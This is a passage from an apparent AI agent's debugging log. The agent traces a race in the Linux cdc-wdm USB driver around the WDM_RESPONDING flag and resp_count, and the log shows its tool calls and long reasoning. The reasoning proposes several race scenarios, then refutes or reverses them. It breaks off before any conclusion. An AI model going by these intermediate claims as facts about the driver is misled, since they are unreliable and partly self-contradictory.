My immediate instinct is to trace its lifecycle. I need to understand the conditions under which this flag is set, but more importantly, I need to pinpoint its deactivation. It's the clearing of the flag that signifies the completion of a process or the release of a resource, and that's where the potential for error often lies. Therefore, my next step is a targeted search. I'm going to meticulously scan the codebase for every instance of `clear_bit(WDM_RESPONDING`. This is where I expect to find the answers, the specific code paths that gracefully return the system to its quiescent state, ensuring that the `WDM_RESPONDING` state is accurately reflected at all times. It’s a fundamental aspect of robust system design, and I'm determined to fully grasp this particular detail.
|
| 20/2 |
2026/09/11 21:55 |
tool |
grepper |
0m
Args: map[Expression:clear_bit\(WDM_RESPONDING PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=167=static void wdm_in_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-174- spin_lock_irqsave(&desc->iuspin, flags);
drivers/usb/class/cdc-wdm.c:175: clear_bit(WDM_RESPONDING, &desc->flags);
drivers/usb/class/cdc-wdm.c-176-
--
drivers/usb/class/cdc-wdm.c=251=static void wdm_int_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-322- if (rv < 0) {
drivers/usb/class/cdc-wdm.c:323: clear_bit(WDM_RESPONDING, &desc->flags);
drivers/usb/class/cdc-wdm.c-324- if (rv == -EPERM)
--
drivers/usb/class/cdc-wdm.c=490=static int service_outstanding_interrupt(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-516- /* make sure the next notification trigger a submit */
drivers/usb/class/cdc-wdm.c:517: clear_bit(WDM_RESPONDING, &desc->flags);
drivers/usb/class/cdc-wdm.c-518- desc->resp_count = 0;
--
drivers/usb/class/cdc-wdm.c=757=static int wdm_release(struct inode *inode, struct file *file)
--
drivers/usb/class/cdc-wdm.c-773- desc->resp_count = 0;
drivers/usb/class/cdc-wdm.c:774: clear_bit(WDM_RESPONDING, &desc->flags);
drivers/usb/class/cdc-wdm.c-775- spin_unlock_irq(&desc->iuspin);
--
drivers/usb/class/cdc-wdm.c=983=static void wdm_rxwork(struct work_struct *work)
--
drivers/usb/class/cdc-wdm.c-999- spin_lock_irqsave(&desc->iuspin, flags);
drivers/usb/class/cdc-wdm.c:1000: clear_bit(WDM_RESPONDING, &desc->flags);
drivers/usb/class/cdc-wdm.c-1001- if (!test_bit(WDM_DISCONNECTING, &desc->flags))
]
|
| 21/2 |
2026/09/11 21:55 |
llm |
initial-researcher |
1m
Model:
Tokens:
input: 15559
output: 41
thoughts: 9850
Thoughts: **The Root of the URB Submission Warning**
I've been wrestling with this `URB submitted while active` warning, and I think I've finally pinned down the exact race condition causing it. It all hinges on the interplay between `wdm_int_callback`, `wdm_read`, and `service_outstanding_interrupt`, specifically how they manage the `WDM_RESPONDING` flag and the `desc->resp_count`.
Here's how I see the problematic sequence unfolding:
1. **Initial State**: We have some data that has been received and is waiting to be read by the application. This means `desc->length` is greater than zero, and crucially, `desc->resp_count` is also greater than zero (let's say it's 1, indicating that a previous notification has been processed and an URB was submitted for it). The `WDM_RESPONDING` flag is likely set because that URB is currently active.
2. **The Interruption (New Notification)**: While the application is still in the process of reading the *old* data (meaning `wdm_read` is active, but hasn't yet completely consumed all the available `desc->length`), a new `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification arrives from the device.
3. **`wdm_int_callback` Gets Involved**: This notification triggers `wdm_int_callback`.
* It acquires the `desc->iuspin` lock.
* It attempts to set the `WDM_RESPONDING` flag.
* Crucially, it increments `desc->resp_count`. If `desc->resp_count` was already 1 (from the previous pending URB), it now becomes 2.
* The condition `!desc->resp_count++ && !responding` will *not* be met because `desc->resp_count` was not 0 to begin with, and `responding` will likely be true if `WDM_RESPONDING` was already set. Therefore, `wdm_int_callback` *does not* submit a new URB in this scenario. It simply increments `resp_count` and releases the lock.
4. **`wdm_read` Finishes Its Task**: The application, via `wdm_read`, finally finishes processing the *old* data. This means `desc->length` is reduced to zero.
* It acquires `desc->iuspin`.
* It sees that `desc->length` is now zero.
* It clears the `WDM_READ` flag.
* It calls `service_outstanding_interrupt(desc)`.
5. **The Critical Call to `service_outstanding_interrupt`**: Inside `service_outstanding_interrupt`:
* The check `if (!desc->resp_count || !--desc->resp_count)` is performed.
* Since `desc->resp_count` is now 2 (from step 3), `!--desc->resp_count` becomes `!1`, which is *false*.
* Therefore, the code *does not* `goto out` and proceeds to submit the URB.
* It sets `WDM_RESPONDING` (which was already set by `wdm_int_callback`).
* It releases `desc->iuspin`.
* It then calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
6. **The Collision**: At this point, the URB is being submitted by `service_outstanding_interrupt`. However, the URB for the *previous* notification (which `wdm_int_callback` handled in step 3) is *still active*. It hasn't completed yet. The system sees this as submitting an URB that is already in use, leading to the dreaded `URB submitted while active` warning.
The core of the problem is that `wdm_int_callback` increments `desc->resp_count` without submitting an URB when `WDM_RESPONDING` is already set, effectively making `desc->resp_count` a counter for *pending* URBs that need to be submitted later. Then, `service_outstanding_interrupt` consumes this count, and if the count is high enough, it submits an URB that might already be in flight, causing the race.
|
| 22/2 |
2026/09/11 21:56 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:167 LineCount:100]
Results: map[Contents: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
250:
251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
]
|
| 23/2 |
2026/09/11 21:56 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 26867
output: 66
thoughts: 4739
Thoughts: **My Thoughts on `wdm_in_callback` and URB Submission Logic**
Okay, let's walk through this. I'm trying to get a handle on a potential race condition where the same URB might be submitted more than once.
First, I'm looking at the case where `wdm_in_callback` *doesn't* decrement `desc->resp_count`. This is what I observe happening. So, after the very first URB completes successfully, `desc->resp_count` will be 1.
Then, `wdm_read` gets called. It reads the data, setting `desc->length` to 0. After that, it calls `service_outstanding_interrupt`. Now, `desc->resp_count` is 1. `service_outstanding_interrupt` decrements it to 0. Because `desc->resp_count` is now 0, the condition `!desc->resp_count` will be true, and it will `goto out`, correctly *not* submitting the URB again. This seems to be the intended and correct behavior for a single notification event.
Now, I need to consider what happens when things get a bit more complicated – specifically, if two notifications arrive before `wdm_read` has finished processing the first one.
1. **Notification 1 Arrives:** `wdm_int_callback` is invoked. It sets the `WDM_RESPONDING` flag and increments `desc->resp_count` to 1. It then attempts to submit the URB.
2. **URB 1 Completes:** `wdm_in_callback` runs. It finds `desc->length` is now greater than 0, clears the `WDM_RESPONDING` flag, and importantly, it wakes up `wdm_read` which might be waiting.
3. **Notification 2 Arrives:** This is where things get interesting. `wdm_int_callback` is called again.
* It sets `WDM_RESPONDING` to 1 (it might already be 1 from step 1, or it was cleared and is being set again).
* It increments `desc->resp_count` to 2.
* Now, it checks the condition: `!desc->resp_count++ && !responding`. When Notification 2 arrives, `desc->resp_count` *was* 1 before the increment. So, `!desc->resp_count++` becomes `!1`, which is `FALSE`.
* Therefore, `wdm_int_callback` **does NOT submit the URB** for this second notification. It just increments `resp_count`.
Wait, if it doesn't submit the URB, that means the URB isn't active when `wdm_read` eventually finishes.
4. **`wdm_read` Finishes Reading Data:** `wdm_read` now proceeds. It finishes reading the first chunk of data, so `desc->length` becomes 0. It then calls `service_outstanding_interrupt`.
* At this point, `desc->resp_count` is 2.
* `service_outstanding_interrupt` decrements `desc->resp_count` to 1.
* The condition `!desc->resp_count` (which is now `!1` or `FALSE`) means it does **NOT** `goto out`.
* It proceeds to set `WDM_RESPONDING` (which was likely still 1 from Notification 2, or it was set again).
* Crucially, it then **submits the URB**.
This seems SAFE! The reason it's safe is that the URB was *not* submitted by `wdm_int_callback` for Notification 2 because `desc->resp_count` was already greater than 0.
However, I'm still struggling with the exact sequence that would lead to a problem. What if Notification 2 arrives *while* the first URB is still active, and `wdm_read` hasn't yet had a chance to call `service_outstanding_interrupt`?
Let's re-trace that specific scenario:
1. **Notification 1 Arrives:** `wdm_int_callback` is called. It sets `WDM_RESPONDING` to 1 and `desc->resp_count` to 1. It submits the URB, and this URB is now **ACTIVE**.
2. **Notification 2 Arrives:** `wdm_int_callback` is called again.
* It sets `WDM_RESPONDING` to 1 (it was already 1).
* It increments `desc->resp_count` to 2.
* Again, the condition `!desc->resp_count++` becomes `!1` (FALSE) because `desc->resp_count` was 1 before the increment. So, `wdm_int_callback` **DOES NOT submit the URB**.
3. **`wdm_read` is Called:** Now, `wdm_read` gets invoked. However, the first URB hasn't completed yet. This means `desc->length` is still 0 (because the data hasn't been copied from the URB). Since `desc->length` is 0, `wdm_read` won't proceed to read data and call `service_outstanding_interrupt`. Instead, it will likely block in `wait_event_interruptible`.
This scenario implies that if a notification arrives while the URB is active, `wdm_int_callback` doesn't submit a new URB. That seems correct.
So, when does the actual problem occur? My suspicion is that `desc->length` might have been greater than 0 from a *previous* read operation, and `wdm_read` is in the process of handling that.
Let's trace a scenario where `desc->length` is already greater than 0:
1. **Notification 1 Arrives:** `wdm_int_callback` submits the URB.
2. **URB 1 Completes:** `wdm_in_callback` copies data. `desc->length` becomes greater than 0. It clears `WDM_RESPONDING` and wakes up `wdm_read`. `desc->resp_count` is 1.
3. **`wdm_read` is Called:**
* It acquires `desc->rlock`.
* It sees `desc->length > 0`.
* It copies the data using `copy_to_user`.
4. **Notification 2 Arrives:** While `wdm_read` is busy in `copy_to_user` (or before it finishes processing), Notification 2 arrives.
* `wdm_int_callback` is called.
* It sets `WDM_RESPONDING` to 1.
* It increments `desc->resp_count` to 2.
* Crucially, `!desc->resp_count++` (which is `!1` because `resp_count` was 1 before the increment) is `FALSE`. So, `wdm_int_callback` **DOES NOT submit the URB**.
5. **`wdm_read` Finishes `copy_to_user`:** `wdm_read` finishes copying the data. It sets `desc->length` to 0.
* It then calls `service_outstanding_interrupt`.
* `desc->resp_count` is 2. It decrements to 1.
* The condition `!desc->resp_count` (which is now `!1` or `FALSE`) means it does **NOT** `goto out`.
* It sets `WDM_RESPONDING` (which was already 1 from Notification 2).
* It then **submits the URB**.
Again, this appears SAFE! The key observation is that `wdm_int_callback` *only* submits the URB if `desc->resp_count` was *exactly* 0 before the increment (`!desc->resp_count++`). If `desc->resp_count` is greater than 0 when `wdm_int_callback` is called, it *never* submits the URB; it just increments `desc->resp_count`.
This implies that the responsibility for submitting the URB when `desc->resp_count` is already greater than 0 falls entirely to `service_outstanding_interrupt`. And `service_outstanding_interrupt` is called by `wdm_read` after it finishes processing data.
So, where's the potential double submission then? It must involve concurrent calls to `service_outstanding_interrupt`.
I'm looking at `service_outstanding_interrupt` closely. It drops and reacquires the `desc->iuspin` lock around the `usb_submit_urb` call. This is the critical window!
Let's imagine a scenario with `desc->resp_count` being 3 or more:
1. **Initial State:** `desc->resp_count` is, say, 3.
2. **`wdm_read` Calls `service_outstanding_interrupt`:**
* It decrements `desc->resp_count` to 2.
* It sets `WDM_RESPONDING`.
* It **drops `desc->iuspin`**.
* It is about to call `usb_submit_urb(desc->response, GFP_KERNEL)`.
3. **`service_interrupt_work` (or another thread) is waiting for `desc->iuspin`:** This work item could have been scheduled due to a ZLP in `wdm_in_callback`, for example.
4. **`service_interrupt_work` Acquires `desc->iuspin`:** Since `wdm_read` released it, `service_interrupt_work` can now acquire the spinlock.
5. **`service_interrupt_work` Calls `service_outstanding_interrupt`:**
* It checks `!desc->resp_count`. `desc->resp_count` is currently 2. So `!2` is FALSE. It proceeds.
* It decrements `desc->resp_count` to 1.
* It sets `WDM_RESPONDING` (which was already set by the first call).
* It **drops `desc->iuspin`** again.
* It calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
At this point, both the original `wdm_read` thread and the `service_interrupt_work` thread are attempting to submit the *same* URB concurrently. This is the WARNING I'm seeing: "URB submitted while active."
The critical requirements for this race seem to be:
* `desc->resp_count` must be at least 2 when the first call to `service_outstanding_interrupt` begins (so it doesn't exit early).
* The spinlock `desc->iuspin` must be released by the first call to `service_outstanding_interrupt` while the second call is pending or ready to execute.
* Both threads must then call `usb_submit_urb` on the same URB.
This means that multiple notifications (`desc->resp_count > 1`) must arrive, and then `wdm_read` needs to call `service_outstanding_interrupt` while `service_interrupt_work` is also scheduled and waiting to call it. The scenario where `wdm_read` is waiting for data (`desc->length == 0`) doesn't trigger `service_outstanding_interrupt` from `wdm_read` itself. But if a ZLP happens, `wdm_in_callback` *does* schedule `service_interrupt_work` which *then* calls `service_outstanding_interrupt`.
This is the scenario I'm focused on now: multiple notifications leading to `desc->resp_count > 1`, followed by a URB completion that leads to `wdm_read` calling `service_outstanding_interrupt`, and potentially a ZLP completion leading to `service_interrupt_work` also calling `service_outstanding_interrupt`. The key is the interruptible lock release.
|
| 24/2 |
2026/09/11 21:57 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c IncludeSnippetLines:2 Name:service_outstanding_interrupt SourceTreePrefix:drivers/usb/class/cdc-wdm.c]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:service_interrupt_work SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1015 SourceSnippet:1013:
1014: spin_lock_irq(&desc->iuspin);
1015: service_outstanding_interrupt(desc);
1016: if (!desc->resp_count && (desc->length || desc->rerr)) {
1017: set_bit(WDM_READ, &desc->flags);
] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:wdm_read SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:615 SourceSnippet: 613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
]] TruncatedOutput:false]
|
| 25/2 |
2026/09/11 21:57 |
llm |
initial-researcher |
2m
Model:
Tokens:
input: 31911
output: 42
thoughts: 12489
Thoughts: **A Deep Dive into the `wdm_rxwork` and `service_outstanding_interrupt` Concurrency Nightmare**
I've been digging into a particularly thorny concurrency issue, and my mind is racing through the various execution paths. It all seems to hinge on the interaction between `wdm_read`, `wdm_in_callback`, `service_interrupt_work`, and `service_outstanding_interrupt`. The core of the problem appears to be the possibility of submitting the `desc->response` URB while it's already active.
Initially, I focused on `wdm_read` and `service_interrupt_work` potentially calling `service_outstanding_interrupt` concurrently. My reasoning was that if `desc->rerr` was set (due to an URB completion error), `wdm_in_callback` would schedule `service_interrupt_work`. The concern was that `wdm_read`, if it saw `desc->rerr` was NOT set initially, could proceed past its own error check and then call `service_outstanding_interrupt` at the same time as `service_interrupt_work`. However, I quickly realized that if `desc->rerr` is set, `wdm_read` *immediately* handles it, clears `desc->rerr`, and exits via `goto err` without calling `service_outstanding_interrupt`. So, that path seemed safe.
Then, I considered the scenario where `wdm_read` might be *past* its `desc->rerr` check when an URB completion error occurs. The sequence I envisioned was: `wdm_read` checks `desc->rerr` (it's 0), performs `copy_to_user`, then the URB completes with an error. `wdm_in_callback` sets `desc->rerr`, schedules `service_interrupt_work`, and then `wdm_read` finishes `copy_to_user`, locks `iuspin`, clears `desc->length`, and calls `service_outstanding_interrupt`. The worry was that `service_interrupt_work` would then acquire `iuspin` and *also* call `service_outstanding_interrupt`, leading to a double submission. But again, if `desc->rerr` was set, `wdm_read` would have already exited.
My thought process then shifted to how `desc->rerr` could be set in the first place, which is when `urb->status` indicates an error. This led me to re-examine the sequence: `wdm_read` starts, sees `desc->rerr` is 0, proceeds to `copy_to_user`. *Then* an URB completes with an error. `wdm_in_callback` sets `desc->rerr` and schedules `service_interrupt_work`. Meanwhile, `wdm_read` finishes its `copy_to_user`, locks `iuspin`, sets `desc->length` to 0, and calls `service_outstanding_interrupt`. The problem here is that if `desc->rerr` is set, `wdm_read` exits early, it doesn't proceed to `service_outstanding_interrupt`.
The key insight came when I considered what happens when `wdm_read` is in its `copy_to_user` phase. For this to occur, `desc->length` must be greater than 0, implying a previous URB completed successfully. If `desc->length` > 0, then `desc->resp_count` must be at least 1 (since it's only decremented by `service_outstanding_interrupt`). If `desc->resp_count` is >= 1, then `wdm_int_callback` will *not* submit a new URB. This means that while `wdm_read` is in `copy_to_user`, no URB can be active because none has been submitted. Therefore, `wdm_in_callback` cannot possibly run concurrently with `wdm_read`'s `copy_to_user` phase.
This led me to scrutinize `wdm_rxwork` and its scheduling. The primary trigger for `wdm_rxwork` seems to be when `usb_submit_urb` in `wdm_int_callback` fails with `-ENOMEM`. This is where a potential race condition emerges. If `wdm_read` is in `copy_to_user` (meaning `desc->length > 0`), and then a notification arrives that causes `wdm_int_callback` to fail with `-ENOMEM`, `wdm_rxwork` gets scheduled. Subsequently, `wdm_rxwork` executes, acquires `iuspin`, sets `WDM_RESPONDING`, and drops `iuspin`. At this point, `wdm_read` might finish its `copy_to_user`, clear `desc->length` to 0, and call `service_outstanding_interrupt`. Because `WDM_RESPONDING` was set by `wdm_rxwork` (even though it's already been cleared by `wdm_read`'s `service_outstanding_interrupt` later), both `wdm_rxwork` and `wdm_read`'s `service_outstanding_interrupt` could end up submitting the `desc->response` URB, leading to the "URB submitted while active" warning. This race, however, crucially relies on `usb_submit_urb` failing with `-ENOMEM`, which often points to a fault injection scenario.
The possibility of two threads calling `service_outstanding_interrupt` concurrently also nagged at me. I examined the logic: `wdm_read` and `service_interrupt_work` can both call it. My initial thought was that if `desc->resp_count` was, say, 3, `wdm_read` would decrement it to 2, release `iuspin`, and then `service_interrupt_work` could acquire `iuspin` and decrement it to 1, leading to two concurrent `usb_submit_urb` calls. However, I convinced myself that `service_interrupt_work` is only scheduled on a ZLP or an error. If it's a ZLP, `desc->length` would be 0, and `wdm_read` would be blocked. If it's an error, `wdm_read` would have exited earlier. This line of reasoning, while seemingly sound, still leaves me with a nagging doubt that there might be an edge case I'm missing where `wdm_read` proceeds to call `service_outstanding_interrupt` when `service_interrupt_work` is also about to do so. The fact that `service_outstanding_interrupt` temporarily drops `iuspin` to submit the URB is a major red flag for potential concurrency issues, especially if `GFP_KERNEL` causes it to block.
|
| 26/2 |
2026/09/11 21:59 |
tool |
grepper |
0m
Args: map[Expression:schedule_work\(&desc->rxwork\) PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=251=static void wdm_int_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-327-sw:
drivers/usb/class/cdc-wdm.c:328: rv = schedule_work(&desc->rxwork);
drivers/usb/class/cdc-wdm.c-329- if (rv)
--
drivers/usb/class/cdc-wdm.c=983=static void wdm_rxwork(struct work_struct *work)
--
drivers/usb/class/cdc-wdm.c-1001- if (!test_bit(WDM_DISCONNECTING, &desc->flags))
drivers/usb/class/cdc-wdm.c:1002: schedule_work(&desc->rxwork);
drivers/usb/class/cdc-wdm.c-1003- spin_unlock_irqrestore(&desc->iuspin, flags);
]
|
| 27/2 |
2026/09/11 21:59 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 44684
output: 41
thoughts: 551
Thoughts: **My Thought Process Unraveling a USB Driver's Interrupt Handling**
Okay, I'm looking at this `wdm_int_callback` function, and I've just had a small epiphany. I'm tracing the execution flow, specifically when an interrupt URB completes with an error status. My attention is drawn to this `if (status)` block.
I see that if the `status` is `-ESHUTDOWN`, `-ENOENT`, or `-ECONNRESET`, the function simply returns. This makes perfect sense – these are all indications that the device is no longer available, likely due to an unplug or shutdown event, so we just gracefully exit.
However, my eyes land on the `-EPIPE` case. This is where things get interesting. The code sets a `WDM_INT_STALL` bit in the `desc->flags` and prints an error message indicating a stall on the interrupt endpoint. Crucially, it then `goto sw;`.
Now, I need to understand what `sw` is. Ah, there it is: `sw: rv = schedule_work(&desc->rxwork);`. So, if the interrupt URB encounters a stall (`-EPIPE`), it directly schedules the `wdm_rxwork` work item. This seems like a deliberate action to handle this specific error condition.
But here's a crucial point: the `goto sw;` bypasses the *rest* of the `wdm_int_callback` function. This means that the subsequent code, including the `exit:` label and the `usb_submit_urb(urb, GFP_ATOMIC);` call, will *not* be executed when a stall occurs.
My current hypothesis is that this `goto` is intended to prevent the submission of a new URB immediately after a stall is detected and the work item is scheduled. The stall handling logic within `wdm_rxwork` is likely responsible for re-initializing the interrupt endpoint or dealing with the stall in a more controlled manner, rather than immediately resubmitting the URB, which might fail again or lead to unexpected behavior.
I'm going to re-examine the complete `wdm_int_callback` to confirm this flow. My concern is that by going to `sw` and then exiting the `if (status)` block, the final `usb_submit_urb` call might still be executed *if* the `goto` doesn't implicitly exit the function entirely. Wait, looking at the overall structure again, the `goto sw;` is within the `if (status)` block. If `status` is non-zero and equals `-EPIPE`, it jumps to `sw`, schedules the work, and then the function will continue *after* the `if (status)` block, right up to the `exit:` label and the final `usb_submit_urb`. This is not what I initially thought. This means a stall error *will* lead to the scheduling of `rxwork` *and* a subsequent attempt to resubmit the URB immediately. This seems potentially problematic – I need to be absolutely sure about the intended behavior here.
|
| 28/2 |
2026/09/11 22:00 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:251 LineCount:100]
Results: map[Contents: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
342:
343: static void poison_urbs(struct wdm_device *desc)
344: {
345: /* the order here is essential */
346: usb_poison_urb(desc->command);
347: usb_poison_urb(desc->validity);
348: usb_poison_urb(desc->response);
349: }
350:
]
|
| 29/2 |
2026/09/11 22:00 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 46808
output: 40
thoughts: 593
Thoughts: **My Thought Process Unpacking the `status == -EPIPE` Scenario**
Ah, I've found something interesting here in the code. My initial observation is that when `status` equals `-EPIPE`, the execution flow jumps directly to the `sw:` label. This is a significant point, as it bypasses the usual error handling or state updates that might occur in other `case` statements within that `switch`.
Upon reaching the `sw:` label, my understanding is that the code proceeds to `schedule_work(&desc->rxwork)`. This means that `wdm_rxwork` is initiated.
However, I'm realizing a crucial consequence of this jump: it skips over the section that would normally set the `WDM_RESPONDING` flag and increment `desc->resp_count`. This is a key divergence. So, to be absolutely clear in my own mind, if execution arrives at `sw:` due to `-EPIPE`, then `desc->resp_count` will *not* be incremented, and `WDM_RESPONDING` will *not* be set at that point.
Now, when `wdm_rxwork` actually runs, it *does* indeed set the `WDM_RESPONDING` flag and then proceeds to submit the URB. This is the expected behavior of the work function.
My next point of investigation, and where my current thinking is focused, is to verify that `wdm_rxwork` is also responsible for clearing the stall condition. I need to look at the remainder of the `wdm_rxwork` function to confirm this crucial aspect of its operation.
|
| 30/2 |
2026/09/11 22:00 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:983 LineCount:50]
Results: map[Contents: 983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
1007:
1008: static void service_interrupt_work(struct work_struct *work)
1009: {
1010: struct wdm_device *desc;
1011:
1012: desc = container_of(work, struct wdm_device, service_outs_intr);
1013:
1014: spin_lock_irq(&desc->iuspin);
1015: service_outstanding_interrupt(desc);
1016: if (!desc->resp_count && (desc->length || desc->rerr)) {
1017: set_bit(WDM_READ, &desc->flags);
1018: wake_up(&desc->wait);
1019: }
1020: spin_unlock_irq(&desc->iuspin);
1021: }
1022:
1023: /* --- hotplug --- */
1024:
1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
]
|
| 31/2 |
2026/09/11 22:00 |
llm |
initial-researcher |
2m
Model:
Tokens:
input: 48247
output: 1029
thoughts: 10457
Thoughts: **The Race Condition in URB Submission**
